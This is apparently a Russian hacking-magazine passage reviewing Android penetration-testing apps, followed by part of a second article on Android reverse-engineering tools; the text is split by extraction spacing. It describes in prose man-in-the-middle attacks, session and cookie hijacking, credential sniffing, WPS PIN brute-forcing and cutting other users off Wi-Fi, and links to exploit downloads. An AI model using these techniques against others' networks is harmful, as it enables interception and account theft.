Вер сия Android: 2.3 и выше
Тре бует ся рут: ДА!

До пол нитель ные тре бова ния: уста новить   в BusyBox /system/bin

Один  из  самых  фун кци ональ ных  инс тру мен тов  для  ска ниро вания  сетей
и поис ка уяз вимос тей на обна ружен ных хос тах. Сос тавля ет кар ту сети и отоб‐ 
ража ет све дения обо всех най ден ных в ней устрой ствах. Уме ет опре делять их
IP/MAC и вен дора  (по пер вым трем окте там MAC‐адре са), опре делять уста‐ 
нов ленную  на  них  ОС,  искать  уяз вимос ти  с  помощью  Metasploit  framework
RPCd и брут форсить пароли.

По иск кли ентов и MITM‐ата ка

Вы пол няет MITM‐ата ки  раз ного  типа  через  спу финг DNS  (воз можна  замена
меди афай лов  в  тра фике  на  лету,  JS‐инжекты,  угон  сес сий  и  зах ват  cookie
для  авто риза ции  без  вво да  пароля).  Так же  уме ет  дис коннек тить  отдель ные
устрой ства  (или отклю чать их ско пом от  точ ки дос тупа). Перех ватыва ет  тра‐ 
фик и сох раня ет его в фор мате .pcap или перенап равля ет, куда ска жешь.

Мо дули cSploit

cSploit  содер жит  инс тру мент  для  соз дания  и  отправ ки  на  выб ранный  хост
любого  TCP/UDP‐пакета.  По  ссыл ке    перенап равля ет
на  онлайн‐сер вис  для  выбора  и  экс плу ата ции  уяз вимос тей  под  опре делен‐ 
ную модель. База перес тала обновлять ся в 2015 году, но все еще сох раня ет
акту аль ность. В моем крат ком  тес те на роуте ре ASUS,  который выпус кает ся
с кон ца 2016 года, в све жей про шив ке (апрель 2018 года) была обна руже на
уяз вимость, впер вые опи сан ная в 2009 году.

взлом  роуте ра

От кры тые пор ты и под борка экс пло итов для выб ранной цели

До пол нитель но  cSploit  помога ет  соз дать  на  взло…  не  про шед шем  аудит
безопас ности  хос те  уда лен ный  шелл  и  получить  над  ним  пол ный  кон троль.
В общем, это однознач ный must have для пен тесте ров, и не толь ко для них.

INFO

cSploit,  Intercepter‐NG  и  дру гие  мощ ные  ][‐ути‐ 
литы  зас лужива ют  более  под робно го  рас смот‐ 
рения в отдель ных стать ях. Мы пред лага ем спер‐ 
ва  осво ить ся  с  базовы ми  прин ципами  пен теста
на  при мере  прос тых  при ложе ний,  а  уже  затем
перехо дить  на  хар дкор.  Сле ди  за  обновле ниями
в руб рике «Взлом»!

dSploit

Где взять: github.com/dsploit
Про тес тирован ная (не впол не удач но) вер сия: 1.1.3с

Раз мер: 11,4 Мбайт
Вер сия Android: 2.3 и выше

Тре бует ся root: ДА!
До пол нитель ные тре бова ния: уста новить   в  , про явить

склон ность к мазохиз му
BusyBox /system/bin

Форк cSploit от Симоне Мар гарител ли (Simone Margaritelli), при казав ший дол‐ 
го  жить  в  2014  году.  Про ект  так  и  остался  в  ста дии  бета‐вер сии  с  очень
сырым кодом. Если cSpoit  у меня работал без нарека ний,  то пос ледние  три
вер сии dSploit вывали вались с ошиб кой поч ти сра зу пос ле запус ка.

Тот же cSploit, вид сбо ку

С  тех  пор  как  Мар гарител ли  устро ился  в  ком панию  Zimperium,  наработ ки
dSploit вош ли в сос тав фир менной ути литы zAnti.

Ска ниро вание бес про вод ной сети и обна руже ние хос тов

Продолжение статьи →

mailto:angstroem@hotbox.ru
https://play.google.com/store/apps/details?id=teycode.kayralite
https://play.google.com/store/apps/details?id=teycode.kayra
http://edgard.net/droidsqli-1.1.apk
https://xakep.ru/2011/12/06/57950/
https://play.google.com/store/apps/details?id=com.bugtraqapps.droidbugpanelfinderfree
https://play.google.com/store/apps/details?id=com.bugtraqapps.droidbugpanelfinderpro
https://github.com/cSploit/android
http://rootbitch.cc/csploit/cSploit-nightly.apk
https://play.google.com/store/apps/details?id=stericson.busybox
http://routerpwn.com/
https://github.com/Androguide/dsploit
https://play.google.com/store/apps/details?id=stericson.busybox
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zAnti

Где взять: zimperium.com/zanti
Про тес тирован ная вер сия: 3.18

Раз мер: 24 Мбайт
Вер сия Android: 2.3 и выше

Тре бует ся рут: ДА!
При меча ния: zAnti не работа ет на устрой ствах с про цес сорами архи тек туры

x86 и x86_64

Мо биль ное при ложе ние для пен теста от Zimperium. Более сов ремен ный, ста‐ 
биль ный и наг лядный ана лог dSploit.

Ин терфейс zAnti раз делен на две час ти: ска ниро вание и MITM. В пер вой
сек ции он, подоб но dSploit и ори гиналь ному cSploit, мапит сеть, опре деля ет
все хос ты, их парамет ры и уяз вимос ти.

Nmap’им сеть

От дель ная фун кция — опре деле ние уяз вимос тей на самом смар тфо не. Сог‐ 
ласно отче ту прог раммы, наш тес товый Nexus 5 содер жит 263 дыры, которые
уже не будут зак рыты, пос коль ку срок жиз ни девай са истек.

Об наруже ние уяз вимос тей

zAnti  помога ет  взла мывать  роуте ры  и  получать  к  ним  пол ный  дос туп  (с  воз‐ 
можностью  сме нить  пароль  адми на,  задать  дру гой  SSID,  PSK  и  так  далее).
Исполь зуя MITM‐ата ки, zAnti выяв ляет небезо пас ные эле мен ты на трех уров‐ 
нях: в ОС, при ложе ниях и нас трой ках устрой ства.

Рас ширен ный поиск уяз вимос тей

Клю чевая осо бен ность — фор мирова ние  под робно го  отче та  по  всем прос‐ 
каниро ван ным  эле мен там.  Отчет  содер жит  пояс нения  и  советы  по  устра‐ 
нению най ден ных недос татков.

От чет zAnti

СНИФФЕРЫ

Ни  одно му  пен тесте ру  не  обой тись  без  хороше го  сниф фера.  Это  такой  же
обы ден ный инс тру мент, как нож на сто ле повара. Поэто му сле дующий раз дел
статьи пос вящен при ложе ниям для перех вата и ана лиза тра фика.

Intercepter-NG

Где взять: github.com/intercepter‐ng
Про тес тирован ная вер сия: 2.1 (кон соль ная — 0.8)

Раз мер: 5,2 Мбайт
Вер сия Android: 2.3 и выше

Тре бует ся рут: ДА!
До пол нитель ные тре бова ния: уста новить   в BusyBox /system/bin

Прод винутый  сниф фер,  ори енти рован ный  на  выпол нение  MITM‐атак.  Зах‐ 
ватыва ет тра фик и ана лизи рует его на лету, авто мати чес ки опре деляя в нем
дан ные  авто риза ции.  Уме ет  сох ранять  перех вачен ный  тра фик  в  фор мате
.pcap и ана лизи ровать его поз же.

Ска ниро вание и ARP spoofing

Сре ди  авто мати чес ки  опре деля емых  фор матов  дан ных  есть  пароли  и  хеши
для сле дующих про токо лов: AIM, BNC, CVS, DC++, FTP, HTTP, ICQ, IMAP, IRC,
KRB5, LDAP, MRA, MYSQL, NTLM, ORACLE, POP3, RADIUS, SMTP, SOCKS, Tel‐
net, VNC.

Intercepter‐NG собира ет из перех вачен ных пакетов фай лы, переда ваемые
по FTP, IMAP, POP3, SMB, SMTP и HTTP.

Capture, hijack, injections

Как cSploit и ана логи, Intercepter‐NG исполь зует ARP‐спу финг для выпол нения
MITM. Он под держи вает SSLstrip, что поз воля ет выпол нять MITM‐ата ки даже
с  HTTPS‐тра фиком,  под меняя  на  лету  HTTPS‐зап росы  ата куемых  хос тов  их
HTTP‐вари анта ми через встро енный DNS‐прок си.

Вдо бавок он  уме ет опре делять ARP‐спу финг  в отно шении  тебя  (полез но
при под клю чении к пуб личным хот спо там) и защищать от него. При нажатии
икон ки в виде зон тика про веря ется ARP‐кеш.

Packet Capture
Где взять: • Google Play
Про тес тирован ная вер сия: 1.4.7•
Раз мер: 4,5 Мбайт•
Вер сия Android: 2.3 и выше•
Тре бует ся root: нет•

Бо лее прос той и «легаль ный» ана лиза тор TCP/UDP‐пакетов с воз можностью
перех вата HTTPS‐сес сий пос редс твом MITM. Не тре бует прав root, пос коль ку
исполь зует встро енную в Android фун кцию прок сирова ния тра фика через VPN
и под мену SSL‐сер тифика та.

Зах ват тра фика

В Android 6.0.1 и более све жих вер сиях тре бует ся вруч ную добавить CA‐сер‐ 
тификат через нас трой ки при ложе ния.

До бав ляем сер тификат Packet Capture

Packet Capture работа ет локаль но. Он не выпол няет ARP‐спу финг,  угон сес‐ 
сий  и  про чие  ата ки  на  внеш ние  хос ты.  При ложе ние  позици они рует ся
как  прок си  для  отладки  и  ска чива ется  из  офи циаль ного  мар кета.  Уме ет
декоди ровать пакеты как Text/Hex/Urlencoded, но пока не под держи вает сжа‐ 
тые (gzip) HTTP‐зап росы.

При мер декоди рова ния тра фика

С помощью Packet Capture удоб но кон тро лиро вать сетевую активность уста‐ 
нов ленных при ложе ний. Он показы вает не прос то объ ем переда ваемо го тра‐ 
фика, а что кон крет но и куда отправ ляет каж дая прог рамма или встро енный
ком понент  Android,  какие  пакеты  и  с  каких  сер веров  получа ет  в  ответ.
Отличная ути лита для поис ка тро янских зак ладок и назой ливой рек ламы.

ВСПОМОГАТЕЛЬНЫЕ УТИЛИТЫ

Ес ли прод винутые ути литы для пен теста тре буют root и BusyBox, то при ложе‐ 
ния  поп роще  дос тупны  в  Play  Store  и  работа ют  на  любом  смар тфо не
без  ухищ рений.  ARP‐спу финг  и  MITM‐ата ки  ими  не  выпол нить,  но  для  ска‐ 
ниро вания  бес про вод ной  сети,  обна руже ния  хос тов  и  явных  проб лем
с безопас ностью их впол не хва тает.

WPSApp

Где взять: Google Play
Про тес тирован ная вер сия: 1.6.20

Раз мер: 3,0 Мбайт
Вер сия Android: 4.1. Гораз до луч ше работа ет на Android 5.1 и новее

Тре бует ся root: желатель но, но не обя затель но

Эта прог рамма ска ниру ет  эфир  в  поис ках  точек дос тупа  с  вклю чен ной фун‐ 
кци ей  WPS.  Обна ружив  такие,  она  пыта ется  опро бовать  на  них  дефол тные
пины. Их нем ного, и они извес тны из ману алов про изво дите лей роуте ров.

Об наруже ние хот спо тов с WPS

Ес ли поль зователь не сме нил дефол тный пин и не отклю чил WPS, то ути лита
самое боль шое за пять минут переби рает все извес тные зна чения и получа ет
WPA(2)‐PSK, каким бы длин ным и слож ным он ни был. Пароль от бес про вод‐ 
ной сети отоб ража ется на экра не и авто мати чес ки сох раня ется в нас трой ках
Wi‐Fi смар тфо на.

Ус пешное получе ние PSK менее чем за минуту

От мечу, что некото рые роуте ры не поз воля ют менять пин, задан ный по умол‐ 
чанию.  Более  того,  иног да  он  оста ется  вклю чен ным,  даже  если
в  веб‐интерфей се  роуте ра  показы вает ся  ста тус WPS: OFF.  Узнать  реаль ное
сос тояние WPS поможет ути лита Wifi Analyzer. Под робнее про нее и WPSApp
читай в статье « ».Ло маем Wi‐Fi со смар тфо на. Раз ведка и пер вый бой

С момен та выхода той статьи WPSApp обно вилась и ста ла луч ше во всех
отно шени ях. Она зна ет боль ше пинов раз ных вен доров, быс трее переби рает
их  и  научи лась  брут форсить  в  новых  режимах.  Ути лита  работа ет  как  на
рутован ных смар тфо нах, так и без прав root. У нее мно го ана логов, но все они
куда менее эффектив ные.

WiFiAnalyzer

Где взять: Google Play
Про тес тирован ная вер сия: 1.8.11

Раз мер: 1,6 Мбайт
Вер сия Android: 4.1 и выше

Тре бует ся root: нет

Опен сор сный  и  бес плат ный  ска нер  Wi‐Fi‐сетей.  Очень  удоб ная  ути лита
для обна руже ния точек дос тупа (вклю чая скры тые), выяс нения их парамет ров
(MAC, вен дор, канал, тип шиф рования), оцен ки мощ ности сиг нала и рас сто‐ 
яния  до  них.  Уда лен ность  от  роуте ра  вычис ляет ся  по  фор муле  для  пря мой
видимос ти, поэто му не всег да ука зыва ется дос таточ но точ но.

Отоб ражение скры тых сетей и оцен ка зашум леннос ти каналов

WiFiAnalyzer  поз воля ет  наг лядно  уви деть  ситу ацию  в  эфи ре,  отфиль тро вать
цели по уров ню сиг нала, SSID, исполь зуемой час тоте (2,4/5 ГГц) и типу шиф‐ 
рования.  Так же  вруч ную  мож но  опре делить  наиме нее  зашум ленный  канал
по гра фикам двух типов: обыч ному и с вре мен ным накоп лени ем.

Оцен ка ста биль нос ти уров ня сиг нала от раз ных точек дос тупа

Сло вом, WiFiAnalyzer — это то, с чего сто ит начинать раз ведку в бес про вод‐ 
ных сетях. Поиск целей с опре делен ными парамет рами сэконо мит кучу вре‐ 
мени при даль нейшей работе с прод винуты ми ути лита ми.

Продолжение статьи →

https://www.zimperium.com/zanti-mobile-penetration-testing
https://github.com/intercepter-ng/mirror
https://play.google.com/store/apps/details?id=stericson.busybox
https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&hl=en
https://play.google.com/store/apps/details?id=com.themausoft.wpsapp
https://xakep.ru/2017/04/28/wifi-hacking-exploration/
https://play.google.com/store/apps/details?id=com.vrem.wifianalyzer&rdid=com.vrem.wifianalyzer


X-TOOLS ДЛЯ ANDROID
ВЫБИРАЕМ УТИЛИТЫ ДЛЯ ПЕНТЕСТА

СО СМАРТФОНА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Fing

Где взять: Google Play
Про тес тирован ная вер сия: 6.7.1

Раз мер: 10 Мбайт
Вер сия Android: 4.1 и выше

Тре бует ся root: нет

Час то  фун кци ональ ность  хакер ских  ути лит  пересе кает ся  с  воз можнос тями
впол не легаль ных инс тру мен тов,  которы ми поль зуют ся сис темные адми нис‐ 
тра торы для налад ки сетей.

Ска ниро вание внеш них и внут ренних сетевых узлов

Fing  —  один  из  таких  инс тру мен тов.  Он  быс тро  ска ниру ет  Wi‐Fi‐сеть,
к  которой  тебе  уда лось  под клю чить ся  (нап ример,  с  помощью  WPSApp),
и опре деля ет  все  хос ты. Это может быть  вос тре бова но для про вер ки  собс‐ 
твен ной  бес про вод ной  сети  на  пред мет  НСД,  но,  сог ласись,  иссле довать
нез накомые сети гораз до инте рес нее.

Оп ределе ние пор тов и сер висов на выб ранных хос тах

Fing выпол няет рас ширен ный ана лиз имен NetBIOS, UPNP и Bonjour, поэто му
точ нее  опре деля ет  типы  устрой ств  и  показы вает  боль ше  их  свой ств.  В  Fing
интегри рова ны ути литы ping и  tracerout. Так же он уме ет отправ лять зап росы
WOL  (Wake  on  LAN),  уда лен но  про буж дая  «спя щие»  устрой ства,  под держи‐ 
вающие эту фун кцию.

Fing авто мати чес ки опре деля ет откры тые пор ты и сопос тавлен ные им сер‐ 
висы.  При  обна руже нии  SMB,  SSH,  FTP  и  про чего  Fing  пред лага ет  под клю‐ 
чить ся  к ним, вызывая для это го внеш ние прог раммы из сво его меню. Если
соот ветс тву ющая ути лита (нап ример, AndSMB) не уста нов лена, то Fing откры‐ 
вает ссыл ку на ее заг рузку.

Де таль ная информа ция о сети и кли ент ских устрой ствах

До пол нитель ные  воз можнос ти  прог раммы  откры вают ся  пос ле  регис тра ции
акка унта  Fing.  С  ним  мож но  выпол нять  инвента риза цию  устрой ств  и  сетей.
Еще боль ше фун кций откры вает ся пос ле при обре тения аппа рат ного Fingbox.
Он  уме ет  отсле живать  под клю чение  неп рошеных  гос тей  и  выбороч но  бло‐ 
киро вать их  устрой ства, а  так же про верять интернет‐под клю чение на  типич‐ 
ные неполад ки и авто мати чес ки устра нять их.

NetCut

Где взять: Google Play
Про тес тирован ная вер сия: 1.4.9

Раз мер: 12 Мбайт
Вер сия Android: 4.0 и выше

Тре бует ся root: ДА!

При ложе ние  опре деля ет  все  кли ент ские  устрой ства  в  бес про вод ной  сети,
а затем исполь зует ARP‐спу финг для их выбороч ного отклю чения или обру‐ 
бает  связь  для  всех,  кро ме  тебя.  А  даль ше  ты  можешь  ска чивать  фай лы
на  пол ной  ско рос ти  где‐нибудь  в  кафеш ке,  гля дя,  как  муча ются  дру гие
посети тели.

NetCut — най ти и кик нуть!

Шут ка! Так делать некуль тур но, а вот быс тро кик нуть зло умыш ленни ка, не вле‐ 
зая в нас трой ки роуте ра, — почему бы и да? Мож но не прос то разово обор‐ 
вать связь для любого хос та, а пос тоян но бло киро вать его попыт ки под клю‐ 
чить ся к точ ке дос тупа, пока он не сме нит MAC‐адрес (см. вклад ку Jail).

Ог раниче ние ско рос ти под клю чения хос тов

Ес ли кто‐то попыта ется сде лать такой финт в отно шении тво его девай са, Net‐
Cut  опре делит  отравле ние  ARP‐кеша  и  очис тит  его  (см.  NetCut  Defender).
За дол лар в месяц мож но получить акка унт Pro,  убрать рек ламу и огра ниче‐ 
ния.

СПРАВОЧНИКИ И ПОИСКОВИКИ

На пос ледок рас ска жем о паре полез ных  ути лит,  которые не име ют пря мого
отно шения к взло му, а выпол няют ско рее вспо мога тель ную и информа цион‐ 
ную фун кцию.

Droidbug Exploiting FREE

Где взять: Google Play
Про тес тирован ная вер сия: 2.0.3

Раз мер: 5,6 Мбайт
Вер сия Android: 4.0.3 и выше

Тре бует ся root: нет

При ложе ние от  .  Пред назна чено  для  поис ка  и  ска чива ния  экс‐ 
пло итов  раз ного  типа.  Все  они  сгруп пирова ны  по  типу ОС  в  двух  основных
раз делах:  с  локаль ным  и  уда лен ным  исполне нием.  В  отдель ную  груп пу
выделе ны аппа рат ные и веб‐экс пло иты, а так же исполь зуемые в DoS‐ата ках.

Bugtraq Team

Кар манный менед жер экс пло итов

Най ти  и  ска чать  нуж ный  экс пло ит мож но  из  бес плат ной  вер сии  прог раммы,
а  для  быс тро го  прос мотра  опи сания  пот ребу ется  уже    сто‐ 
имостью 279 руб лей.

плат ная  вер сия

Pentest Cheatsheet

Где взять: Google Play
Про тес тирован ная вер сия: 1.02

Раз мер: 2,2 Мбайт
Вер сия Android: 4.1 и выше

Тре бует ся рут: нет

Кар манный спра воч ник пен тесте ра. Содер жит рекомен дации по выпол нению
тес тов  от  OWASP  (The  Open  Web  Application  Security  Project)  —  экспер тов
откры того про екта обес печения безопас ности веб‐при ложе ний.

Pentest Cheatsheet — спра воч ник пен тесте ра

До пол нитель но вклю чает в себя под борку ссы лок на про верен ные ][‐ути литы,
сгруп пирован ных исхо дя из пос тавлен ной задачи: онлай новые ска неры, ана‐ 
лиза торы уяз вимос тей, тул зы для ревер са, фаз зеры, кра уле ры и так далее.

Под борка ссы лок на ути литы по типам задач

Вся  информа ция  хорошо  сис темати зиро вана  и  выг лядит  акту аль ной
на момент написа ния статьи.

ВМЕСТО ВЫВОДОВ

Из гор хла ма, мусора и откро вен ного фей ка, который в мире Android выда ют
за  «хакер ский  софт»,  мы  пос тарались  выудить  самые  инте рес ные,  прод‐ 
винутые и полез ные инс тру мен ты. Но если  ты счи таешь,  что  чего‐то не  хва‐ 
тает,  —  доб ро  пожало вать  в  ком мента рии!  Толь ко,  пожалуй ста,  без  Kali
NetHunter, мы про него уже писали.

WWW

•Про ект cSploit
•Под робный ману ал по zAnti
•Сер вис для ска чива ния APK из Google.Play

https://play.google.com/store/apps/details?id=com.overlook.android.fing
https://play.google.com/store/apps/details?id=com.arcai.netcut
https://play.google.com/store/apps/details?id=com.bugsecapps.freedroidbugexploiting
http://bugtraq-team.com/
https://play.google.com/store/apps/details?id=com.bugsecapps.droidbugexploitingpro
https://play.google.com/store/apps/details?id=in.codebucket.pentestcheatsheet
http://www.csploit.org/downloads/
https://is.gd/wNI6c0
https://apps.evozi.com/apk-downloader/
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ВЗЛОМ

За  десять  лет  сущес тво вания  Android  раз‐ 
работ чики  при ложе ний  и  те,  кто  эти  при‐ 
ложе ния  взла мыва ет,  обза велись  мас сой
инс тру мен тов,  нап равлен ных  друг  про тив
дру га.  О  том,  какими  спо соба ми  мож но
защитить свое при ложе ние, мы уже погово‐ 
рили,  а  сегод ня  у  нас  обзор  инс тру мен тов
для взло ма и ревер са при ложе ний.

Ус ловно все инс тру мен ты ана лиза и ревер са при ложе ний (не толь ко для An‐
droid) мож но раз делить на две груп пы:

инс тру мен ты для  ста тичес кого  ана лиза — дизас сем бле ры,  деком пилято‐ 
ры,  деоб фуска торы и  любые дру гие  ути литы,  которые работа ют  с  кодом,
не запус кая его;

•

инс тру мен ты  для  динами чес кого  ана лиза  —  инс тру мен ты,  с  помощью
которых  при ложе ние  мож но  запус тить  на  вир туаль ном  или  реаль ном
устрой стве и про ана лизи ровать его поведе ние.

•

В  обе их  груп пах  есть  ути литы  и  для  самых  малень ких  (запус тил —  получил
спи сок уяз вимос тей), и для матерых пен тесте ров. Мы рас смот рим их все.

СТАТИЧЕСКИЙ АНАЛИЗ
Итак, для начала погово рим об инс тру мен тах ста тичес кого ана лиза. Каж дый
пен тестер  дол жен  иметь  в  сво ем  арсе нале  хотя  бы  два  из  них.  Это  деком‐ 
пилятор и дизас сем блер.

Де ком пилятор нужен, что бы перег нать байт‐код Dalvik обратно в код Java
и  с  его  помощью  разоб рать ся,  как  работа ет  при ложе ние.  Дизас сем блер
тран сли рует  байт‐код  в  гораз до  более  низ коуров невый  код  Smali  (мес тный
ассем блер),  в  котором  труд нее  разоб рать ся,  но  зато  он  всег да  кор ректен
нас толь ко,  что  его  мож но  соб рать  обратно  в  при ложе ние.  Этой  осо бен‐ 
ностью  мож но  вос поль зовать ся,  нап ример,  что бы  внед рить  в  при ложе ние
собс твен ный код, как мы это сде лали во 

.
вто рой час ти статьи о взло ме при‐ 

ложе ний для Android
Так же  при годит ся  деоб фуска тор.  Он  сде лает  деком пилиро ван ный  код

нем ного более чита емым. О том, что такое обфуска ция и деоб фуска ция, мы
так же уже писали в  .треть ей час ти статьи о взло ме при ложе ний

Jadx
Пер вый инс тру мент в нашем спис ке —  . Это активно раз‐ 
вива емый откры тый деком пилятор, который выда ет дос таточ но неп лохой код
Java  на  выходе  и  даже  име ет фун кцию  деоб фуска ции  кода.  Работать  с  ним
прос то: запус каешь Jadx‐gui, с его помощью выбира ешь APK‐файл при ложе‐ 
ний и видишь иерар хию пакетов и фай лы с исходни ками на Java.

де ком пилятор Jadx

Jadx может работать и в режиме коман дной стро ки. Нап ример, сле дующая
коман да деком пилиру ет при ложе ние example.apk и помес тит получен ный код
Java в каталог out:

$ jadx ‐d out example.apk

Бо лее  того,  Jadx  может  допол нитель но  сге нери ровать  фай лы  build.gradle,
что бы исходни ки мож но было импорти ровать в Android Studio:

$ jadx ‐e ‐d out example.apk

Соб рать  при ложе ние  из  них  не  получит ся,  зато  ана лизи ровать  код  будет
гораз до удоб нее.

Jadx в чер ном

Apktool
Вто рой  инс тру мент,  который  дол жен  обя затель но  быть  на  тво ем  дис ке,  —
это  . Его наз начение — раз борка и сбор ка при ложе ний. При этом тер‐ 
мин  «раз борка»  под разуме вает  дизас сем бли рова ние  кода  при ложе ния
в  фай лы  фор мата  Smali,  а  так же  деком прес сию  ресур сов  и  фай ла
AndroidManifest.xml.

Apktool

С  помощью  Apktool  мож но  разоб рать  при ложе ние,  про ана лизи ровать
дизас сем блер ный  код,  внес ти  в  него  прав ки  и  соб рать  обратно.  О  том,
как это сде лать, мы под робно писали в статье « ».Ло маем Android

Раз бира ем при ложе ние с помощью Apktool

APKiD
Эта неболь шая ути лита понадо бит ся тебе, ког да ты заметишь, что Jadx не в
сос тоянии деком пилиро вать при ложе ние. В боль шинс тве слу чаев это зна чит,
что при ложе ние было обфусци рова но или упа кова но с помощью спе циаль ных
инс тру мен тов.    поз воля ет  узнать,  какие  кон крет но  инс тру мен ты  были
исполь зованы, выяс нить, было ли при ложе ние пересоб рано с помощью Apk‐
tool и исполь зуют ся ли в нем какие‐то дру гие  тех ники для защиты от дизас‐ 
сем бли рова ния/деком пиляции и запус ка в вир туаль ной машине.

APKiD

APKiD далеко не всег да работа ет кор рек тно, а в некото рых слу чаях вооб‐ 
ще не выводит никакой информа ции на экран. Но он может помочь, если ты
в тупике — вывод ути литы понят ный. Нап ример:

 — про вер ка,
под клю чен ли дебаг гер с помощью метода isDebuggerConnected;

• anti_debug : Debug.isDebuggerConnected() check

 —  про вер ка  про изво дите ля
смар тфо на, что бы понять, что находишь ся в вир туаль ной машине.

• anti_vm : Build.MANUFACTURER check

Но есть одно неоче вид ное поле: compiler. Оно обыч но содер жит dx или dexlib.
Dx — стан дар тный ком пилятор Android SDK, а dexlib — это биб лиоте ка сбор ки
фай лов DEX из Apktool. Про ще говоря, если в поле compiler находит ся dexlib,
зна чит, при ложе ние было пересоб рано с помощью Apktool или ана логич ного
инс тру мен та.

Ре зуль тат работы APKiD для нес коль ких образцов мал вари

Simplify
Что, если APKiD сооб щает о при мене нии обфуска тора, а при попыт ке изу чить
код  ты  стал кива ешь ся  с  зашиф рован ными  стро ками?  В  этом  слу чае  тебе
нужен деоб фуска тор, который смо жет сде лать код более чита емым. Абсо лют‐ 
ное боль шинс тво деоб фуска торов,  которые  ты най дешь в интерне те,  уме ют
бороть ся толь ко с одним или нес коль кими обфуска тора ми, зачас тую уста рев‐ 
ших вер сий.

 — уни вер саль ный деоб фуска тор. Вмес то того что бы искать в коде
зна комые  пат терны,  он  запус кает  код  в  вир туаль ной  сре де  и  дает  ему  воз‐ 
можность сде лать все самому. В про цес се исполне ния код сам рас шифру ет
зашиф рован ные стро ки, ука жет на мес та, которые никог да не будут исполне‐ 
ны  (обфуска ция  с  помощью мер тво го  кода),  и  ука жет  на реаль ный  тип объ‐ 
ектов, получен ных с помощью реф лексии (а это поз волит выпол нить дереф‐ 
лексию).

Simplify

Из‐за осо бен ностей реали зации вир туаль ной машины Simplify ред ко спо‐ 
собен  про ана лизи ровать  все  при ложе ние  целиком.  Поэто му  его  сто ит
исполь зовать  для  деоб фуска ции  отдель ных  методов  и  клас сов  (это  мож но
сде лать с помощью фла га  ):‐it

$ java ‐jar simplify.jar ‐it 'org/cf/obfuscated' simplify/obfusc
ated‐app.apk

До и пос ле обра бот ки Simplify

DeGuard
Simplify поможет, если при ложе ние было про пуще но через мощ ный обфуска‐ 
тор. Одна ко боль шинс тво прог раммис тов не обре меня ют себя при мене нием
чего‐то  более  слож ного,  чем  вхо дящий  в  сос тав  Android  Studio  ProGuard.
А  ProGuard —  это  опти миза тор,  в  котором  фун кция  обфуска ции  появи лась
как  побоч ный  эффект.  Единс твен ное,  чем  он  запуты вает  ревер сера,  —
это  изме нен ные  на  бес смыс ленный  набор  букв  име на  клас сов,  методов
и полей.

Ра зоб рать ся  в  обфусци рован ном  с  помощью  ProGuard  коде  не  так  уж
и слож но, но слож нее, чем в сов сем не обфусци рован ном (в два раза слож‐ 
нее,  если  верить  иссле дова ниям).  Поэто му  даже  для  ProGuard  сущес тву ют
деоб фуска торы.

  —  наибо лее  инте рес ный  из  них.  Это  веб‐сер вис,  соз данный
в Выс шей тех ничес кой шко ле Цюриха. С помощью ней росетей он спо собен
вос ста новить (а точ нее, пред ска зать) ори гиналь ные име на пакетов, клас сов,
методов и полей. Одна проб лема: неред ко деоб фусци рован ный код запуты‐ 
вает еще боль ше, чем ори гинал.

DeGuard

При мер деоб фуска ции с помощью DeGuard

Bytecode Viewer
А это решение клас са «все в одном».    сочета ет в себе фун‐ 
кции  Jadx,  Apktool  и  еще  нес коль ких  инс тру мен тов. Он  уме ет  дизас сем бли‐ 
ровать при ложе ния, деком пилиро вать их с помощью пяти раз личных движ ков
деком пиляции (JD‐Core, Procyon, CFR, Fernflower, Krakatau), рас шифро вывать
стро ки с помощью трех движ ков дешиф рования, ком пилиро вать при ложе ние
обратно  из  деком пилиро ван ного  кода  (с  помощью Ranino Compiler)  и  даже
искать злов редный код!

Bytecode Viewer

Мно гие  ревер серы  рекомен дуют  исполь зовать  имен но  этот  инс тру мент
для ана лиза при ложе ний. Их аргу мент в том, что любой дру гой деком пилятор
(тот же Jadx или популяр ный  ) может сло мать ся об обфусци рован ный
или спе циаль ным обра зом написан ный код и прос то не покажет его. В то же
вре мя  Bytecode  Viewer,  бла года ря  наличию  сра зу  пяти  движ ков  деком‐ 
пиляции, име ет боль ше шан сов деком пилиро вать такое при ложе ние.

JD‐GUI

На  самом  же  деле  не  все  так  радуж но.  Bytecode  Viewer  —  это  кое‐как
работа ющая сбор ная солян ка из раз личных откры тых инс тру мен тов. Да, в нем
мно жес тво  движ ков  деком пиляции,  но,  похоже,  автор  перес тал  сле дить
за  сво им  про изве дени ем.  Текущая  вер сия  Bytecode  Viewer  уже  не  может
открыть боль шинс тво APK.

Скрин шота не будет по при чине нерабо тос пособ ности инс тру мен та.

QARK
За кон чим рас сказ о ста тичес ком ана лизе на инс тру мен те  . Это ути лита
для  авто мати чес кого  поис ка  уяз вимос тей  в  при ложе ниях.  Дос таточ но  нат‐ 
равить ее на нуж ный APK или каталог с исходни ками, и QARK про ана лизи рует
манифест,  деком пилиру ет  и  про ана лизи рует  исходни ки  и  даже  поп робу ет
соз дать  экс пло ит  для  взло ма  при ложе ния  с  помощью  най ден ных  уяз вимос‐ 
тей.

QARK

Поль зовать ся  QARK  очень  прос то:  запус каешь  QarkMain.py,  отве чаешь
на нес коль ко воп росов и получа ешь отчет в фор мате HTML в катало ге 

.
quark/

report
Как  и  дру гие  авто мати зиро ван ные  инс тру мен ты,  QARK  не  может  точ но

пред ска зать наличие уяз вимос ти, он лишь выс казыва ет   о ее
сущес тво вании  и  дает  ревер серу  намек,  в  какую  сто рону  сле дует  копать.
Поэто му  не  сто ит  наде ять ся,  что  ты  прос то  уста новишь QARK  и  сра зу  нач‐ 
нешь стричь купоны на пен тесте при ложе ний. Без мат части никуда.

пред положе ние

От чет QARK

ДИНАМИЧЕСКИЙ АНАЛИЗ
Ста тичес кий  ана лиз  при ложе ния  не  всег да  поз воля ет  рас крыть  все  под‐ 
робнос ти  его  поведе ния.  Код  может  быть  зашиф рован  упа ков щиком,  при‐ 
ложе ние может докачи вать свои ком понен ты из интерне та, рас шифро вывать
стро ки  толь ко  во  вре мя  исполне ния  и  делать  дру гие  вещи,  которые  нель зя
уви деть, читая код.

Об наружить  такие  вещи  мож но  с  помощью  динами чес кого  ана лиза,  то
есть запус тив при ложе ние на реаль ном устрой стве или в эму лято ре и изу чив
его  поведе ние  с  помощью  спе циаль ных  инс тру мен тов.  Имен но  это,  кста ти,
про исхо дит  в  Google  Play,  ког да  раз работ чик  залива ет  новую  вер сию  при‐ 
ложе ния.  Сер веры Google  запус кают  его  в  вир туаль ной  сре де  и,  если  при‐ 
ложе ние  дела ет  какие‐то  неп равомер ные  дей ствия,  зап реща ет  его  пуб‐ 
ликацию.

Frida
